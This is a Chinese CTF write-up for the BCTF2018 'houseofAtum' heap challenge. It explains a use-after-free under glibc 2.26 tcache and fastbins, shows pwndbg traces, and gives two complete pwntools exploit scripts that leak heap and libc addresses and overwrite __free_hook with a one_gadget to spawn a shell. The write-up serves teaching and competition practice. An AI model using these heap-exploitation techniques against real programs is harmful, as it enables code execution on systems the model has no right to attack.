【CTF解题】BCTF2018-houseofatum-Writeup题解

先把ld和Libc给换成题目给的

patchelf --set-interpreter ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so --replace-needed ./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 ./glibc-all-in-one/libs/2.26- 0ubuntu2_amd64/libc-2.26.so houseofAtum

程序分析

这里只进行一些简单的分析，其他的博客分析的很详细了

bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum 1. new 2. edit 3. delete 4. show int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {int v3; // eaxinitialize(argc, argv, envp);while ( 1 ){while ( 1 ){while ( 1 ){v3 = menu();if ( v3 != 2 )break;edit();}if ( v3 > 2 )break;if ( v3 != 1 )goto LABEL_13;alloc();}if ( v3 == 3 ){del();}else{if ( v3 != 4 ) LABEL_13:exit(0);show();}} } int alloc() {int i; // [rsp+Ch] [rbp-4h]for ( i = 0; i <= 1 && notes[i]; ++i );if ( i == 2 )return puts("Too many notes!");printf("Input the content:");notes[i] = malloc(0x48uLL);readn(notes[i], 72LL);return puts("Done!"); }

这里ull表示无符号长整形，ll表示长整型，就是8字节。
这里72=0x48,72LL表示用8字节来存储72。没有在字符串末尾添加/x00，而且没有初始化，可能存在泄漏。利用visit或者show函数打印的时候就能泄漏了。

unsigned __int64 del() {int v1; // [rsp+0h] [rbp-10h]char v2[2]; // [rsp+6h] [rbp-Ah] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Input the idx:");v1 = getint();if ( v1 >= 0 && v1 <= 1 && notes[v1] ){free((void *)notes[v1]);printf("Clear?(y/n):");readn(v2, 2uLL);if ( v2[0] == 121 )notes[v1] = 0LL;puts("Done!");}else{puts("No such note!");}return __readfsqword(0x28u) ^ v3; }

当clear选择n的时候，不会清空note数组的指针，而edit和show都是通过这个来判断一个note是否存在。

漏洞利用的参考程序

参考链接，https://changochen.github.io/2018-11-26-bctf-2018.html
受上文的启发，虽然他的图画错了（头节点不应该指向其fd而应该指向chunk头）

实验该参考程序过程发现了一个小现象：

当malloc(0x20)，分配的chunk的size为0x21
当malloc(0x28)，分配的chunk的size为0x21
当malloc(0x29)，分配的chunk的size为0x41
0x20=32字节，是分配一个chunk的最小空间=presize+size+fd+bk=32字节。size后面多1表示上一个chunk的状态。可以看到当malloc(28)，显示的size仍然为0x21，肯定是和后一个chunk的presize复用了。

#include <unistd.h> #include <stdlib.h> #include <malloc.h> void main(){ void *a = malloc(0x28); void *b = malloc(0x28); // fill the tcache for(int i=0; i<7 ;i++){free(a); } sleep(0); free(b);//fast bin//What will happen with this: free(a);// fast bin }

free b后：

pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x251Free chunk (tcache) | PREV_INUSE Addr: 0x555555757250 Size: 0x31 fd: 0x555555757260Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757280 Size: 0x31 fd: 0x00Top chunk | PREV_INUSE Addr: 0x5555557572b0 Size: 0x20d51pwndbg> bins tcachebins 0x30 [ 7]: 0x555555757260 ◂— 0x555555757260 /* '`ruUUU' */ fastbins 0x20: 0x0 0x30: 0x555555757280 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

free a之后：
发现 a也进了fast bin里面，而且其fd指向了b的presize字段。这样我们就可以通过malloc从tcache bin里得到a的fd，从而修改b的presize，甚至presize后面的size等内容【网络安全学习资料·攻略】

pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x251Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757250 Size: 0x31 fd: 0x555555757280Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757280 Size: 0x31 fd: 0x00Top chunk | PREV_INUSE Addr: 0x5555557572b0 Size: 0x20d51pwndbg> bins tcachebins 0x30 [ 7]: 0x555555757260 —▸ 0x555555757280 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x555555757250 —▸ 0x555555757280 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

漏洞利用思路

我们的目标是最终执行system(’/bin/sh’),而且是通过堆来完成。在《HITB CTF 2018 gundam》中，我们通过动态获得libc基地址，进而计算出_free_hook地址和system地址，想方设法在_free_hook地址处写入system地址，再创建1个内容为’/bin/sh’的chunk，然后释放，就可以触发_free_hook，最终执行system(’/bin/sh’)。这道题同样可以采取这种思路。1.要动态获得libc基地址，就要用到unsorted bin，在tcache的count为7的情况下，将符合unsorted bin大小的chunk释放到unsorted bin中。该chunk前向指针fd和后向指针bk的值就是要泄露的地址（详细分析见上一篇《HITB CTF 2018 gundam分析》）。

2.题目中创建的house of Atum chunk的大小为0x51。显然，这样chunk释放后只能进入tcache bin和fast bin，要想使其进入unsorted bin，就得改变指定chunk的大小。

3.要在_free_hook地址处写入system地址，就得构建1个以_free_hook地址为数据区地址的chunk，即_free_hook-0x10为起始地址的chunk，以system地址作为内容参数。
以下分析和调试过程基于以上3点考虑，通过对堆块chunk的灵活操作，成功执行获得shell。

泄露Chunk的fd地址

连续释放同一个chunk7次后,此时通过show即可获得chunk 0的fd的地址，书本中记为heap_addr -------- tcachebin[7] -> chunk 0.fd <- chunk 0.fd fastbin[] ：null --------

伪造chunk

动态获得了heap_addr，即chunk0的next指针，后面该如何利用?
根据前面分析，要获得libc的基地址，就要改变chunk0的大小为0x91。chunk0的size域位于chunk0头部16个字节的后半部分中，可以考虑创建1个以chunk0-0x10为起始地址的chunk1，将chunk0的新的size值（0x91）作为chunk1的内容。要从tcachebin中分配chunk1时，前提是chunk1在tcachebin中，有两种方式可以使chunk1(chunk0-0x10为起始地址）进入tcachebin：一种是构造tcache bin的double free 然后构造chunk0-0x10为起始地址的fake chunk，另一种是将chunk1链接到fastbin中某个chunk后面，这样当chunk被从fastbin中分配时，其后面的chunk1就会被移到tcache中。我们首先分析第一种方法：
因为题目限制只能创建2个chunk，所以构造了faka chunk后，已经创建了2个chunK了，此时这两个chunk都是指向chunk 0的，无论释放哪一个，都会导致faka chunk丢失。
如下，两个已经创建的chunk都是指向0x5616cec43260的，无论释放哪一个都会导致fake chunk 0x5616cec43250的丢失。
所以本题用了两次把fastbin中的fake chunk转移到tcache bin

泄露libc地址

连续释放chunk0 7次，将会使chunk0进入0x90大小的tcachebin中，再释放1次，chunk0将会进入unsortedbin。就可以按像gundam那样泄漏glibc地址，就是先

分析tcache的结构体是位于堆的低地址的最开头，也是一个chunk。

为什么创建的是0x50大小的Chunk，而不是0x48?

我们看到代码中是malloc(0x48),0x48是userdata的大小，还需要加上presize和size的大小，也就是0x48+0x10=0x58,然后由于该chunk被使用，所以会占用下一个chunk的presize字段，所以0x58-0x8=0x50。所以每次只用分配0x50大小的chunk.

带详细注释的代码

from pwn import *io = process('./houseofAtum') libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A') 初始chunk 0,记住这是初始的chunk0空间，后面会反复用到这个空间。new(p64(0)*7 + p64(0x11)) # 为什么分配两个0x50的chunk? 因为tcache bin和fast# bin都不会清除preuse,所以在后面将0x90大小的fake chunk放入unsorted# bin时会检查下一个chunk的preuse位置,若为0则会报错，所以这里一定要在56个字节之后构造一个0x11。delete(1,'y') #构造完就没用了，可以删掉了for i in range(6): #构造double free填满tcache bindelete(0,'n')show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))#输出自己的user data的地址log.info("heap_addr: 0x%x" % heap_addr)def leak_libc():global libc_basedelete(0,'y') #指向初始chunk0的空间，# 输出完heap_addr也没用了，所以要删掉，会被放进fastbin。# 此时由于最后一个进入fastbin的chunk的fd会被清0，# 所以tcachebin的next指针会被清0。# 此时，# tcache bin[7]:chunk 0.fd -> 0# fasbin:chunk 0.presize -> 0# 为什么在这之后不再直接free一个chunk 0直接修改chunk 0的size呢，# 再free一个chunk 0它会进入fastbin，# 会被fastbin检测出double free，# 上面的参考程序要修改的chunk是另外的chunk,不能是double free的chunk。# 所以行不通。# 所以要间接的修改size。new(p64(heap_addr-0x20))# 此时得到chunk0指向 初始的chunk0,并且改变了chunk 0的fd ,# 此时，# tcache bin[6]:0# fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,# 这里修改后# 在分配内存的时候不会有任何检查其头部？# 分配的时候fastbin会检查头部是否符合当前fastbin的大小，# 但是我们这个chunk我们不会当它在fastBin的时候就分配它。# 后面我们会先把它转移到tcachebin,而转移到tcache bin的过程貌似不会检查其Size，# 而在tcache bin的时候再分配它出去，tcache bin不会检查其头部大小# 同时，还发现entries指针被清空居然不和counts做检查！！！new('A') #此时得到chunk1指向 初始的chunk 0,# 由于tcache的entries指针已经被清空，堆块会从fastbin取出。# 剩下的堆块会被整理到tcache，# 于是fd指针的地址（chunk0.presize-0x10)会被写入tcache entries,同时counts加1等于7# 此时，# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin:0,# 这一步就是为了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin# 小发现：把fastbin剩余的chunk放入tcache bin会导致tcache bin的count数量改变。delete(1,'y') # 上面的工作完成后这个Chunk就没用了，释放掉，进入fastbin。#此时# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin: chunk0.presizenew(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空间，# 此时拿到了fake chunk，fake chunk的user data指向初始chunk 0 的presize# 此时，# tcache bin 0x50 [6]: 0# fasbin 0x50 : chunk0.presize# 此时初始的chunk 0的size已经被修改了。变成了0x91,即大小为0x90。for i in range(7):delete(0,'n') #指向初始的chunk0的空间# 此时会填满tcache 为0x90的bin，并且会改写0x50的fast bin。# 即此时# tcache 0x50 bin[6]: 0# tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd# fasbin 0x50: chunk0.presize->chunk0.fd ,delete(0,'y') #指向初始的chunk0的空间# 此时进入Unsorte bin.# 此时 ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> main_arena+88# fasbin 0x50 : chunk0.presize -> main_arena+88# unsorte bin:chunk0.presize -> main_arena+88edit(1,'A'*0x10)# 此时会修改初始chunk0.presize-0x10的usedata,即会修改chunk0的presize和size字段# 这样后面打印的话方便找到打印的地址在哪。# 因为chunk0 已经被完全删掉了，# 或者之前不完成删掉打印完再删掉也行，反正现在只剩chunk1了show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78log.info("libc base:0x%x" % libc_base)debug(1)def pwn():one_gadget = libc_base + 0xdd752free_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))# 修改了初始的Chunk0大小为0x50,为什么要改回来？# 因为后面要从fastbin中new一个chunk0了，# fastbin会检查size释放应该在此fastbin中。# 修改了初始的chunk0的fd为free_hook-0x10# 此时 ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize -> free_hook-0x10# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88new('A') chunk0 ,因为这里要new 所以前面必须把chunk0 改回0x50大小# 指向初始chun0空间# 这里的作用是把free hook放进tcache bin 0x50# 此时 ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 :# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88delete(0,'y')# 回收chunk0，没用了。回收进fast bin 0x50# 此时 ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88new(p64(one_gadget)) #chunk0# 取出free hook的空间，然后修改# 此时 ,# tcache 0x50 bin[7]: 0# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()

可直接运行的代码

【网络安全学习资料·攻略】

from pwn import *io = process('./houseofAtum') libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A')# chunk 0#debug(1)new(p64(0)*7 + p64(0x11)) #chunk 1#debug(2)delete(1,'y') #delete chunk 1#debug(3)for i in range(6):delete(0,'n')#debug(4)show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))log.info("heap_addr: 0x%x" % heap_addr)#new(p64(heap_addr-0x10)) #chunk 1 fake chunk#debug(1)#delete(1,'y') # delete chunk 1#debug(2)def leak_libc():global libc_basedelete(0,'y') #fastbin#debug(0)new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk#debug(1)new('A') # fastbin get and fastbin fake chunk put to tcache bin#debug(2)delete(1,'y') # put to fastbinnew(p64(0)+p64(0x91)) #fake sizefor i in range(7):delete(0,'n')#debug(1)delete(0,'y')#debug(2)edit(1,'A'*0x10)#debug(2)show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78log.info("libc base:0x%x" % libc_base)#debug(1) def pwn():one_gadget = libc_base + 0xfcc6efree_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))#debug(1)new('A')#debug(1)delete(0,'y')#debug(2)new(p64(one_gadget))#debug(3)io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()pwn()

新发现：不同Libc的unsorte bin在main_arena的偏移不同，Libc2.26是88，Libc2.27是96.

总结

gundam和houseofAtum这两道题都是利用了LIBC2.26中tcache bin可以double free的特点。

gundam：
由于每次build的chunk大于0x90,所以可以重复释放8次同一个chunk,然后在unsortebin中泄漏libc地址。然后，直接在tcache中构造double free然后把free_hook作为fake chunk链接到tcache bin中，然后修改free hook。

houseofAtum：
由于每次build的chunk只有0x50大小，不能被放入unsorted bin，导致无法泄漏Libc地址。所以首先要考虑修改chunk的大小，要修改chunk的大小，只能通过构造fake chunk来修改。而由于限制只能new 2个chunk,所以不能直接在tcache bin中构造double free来链接fake chunk(这点已经在上面分析过了)，所以只能通过把fastbin中的fake chunk移入tcache bin中来构造fake chunk。
构造完fake chunk后就能修改chunk的大小，从而放入Unsorted bin中泄漏libc地址。泄漏完Libc地址后，又要构造fake chunk来修改free_hook,构造方法同上，也是要在fast bin中构建完后移入tcache bin。

one-gadget安装

sudo apt -y install ruby
sudo gem install one_gadget
需要满足一些条件，
比如： [rsp+0x30] == NULL

bigeast@ubuntu:~/Desktop/ctf$ one_gadget ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so 0x47c46 execve("/bin/sh", rsp+0x30, environ) constraints:rax == NULL0x47c9a execve("/bin/sh", rsp+0x30, environ) constraints:[rsp+0x30] == NULL0xfcc6e execve("/bin/sh", rsp+0x40, environ) constraints:[rsp+0x40] == NULL0xfdb1e execve("/bin/sh", rsp+0x70, environ) constraints:[rsp+0x70] == NULL

知识点的复习

通过这道题又复习和捋清楚了一些bin的存储方式：
主线程的Main_arena保存在libc.so的数据的里，其中包括了fastbinsY和bins。
fastbin和Unsortedbin 是后进先出，其他bins是先进先出。
fastbin只用到fd指针，后进来的chunk放在链表头。fd指向上一个进来链表的节点。第一个进来的chunk的fd指向的是特殊的“0”，代表前面没有chunk。
而且fastbin里面的chunk不会进行合并操作，只有当调用malloc_consolidate()的含时候才会取出来与相邻的freechunk合并，所以fast bin的chunk的下一个chunk的PRV INUSE始终为1，处于使用状态。

最后

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总结

以上是生活随笔为你收集整理的【CTF解题】BCTF2018-houseofatum-Writeup题解的全部内容，希望文章能够帮你解决所遇到的问题。

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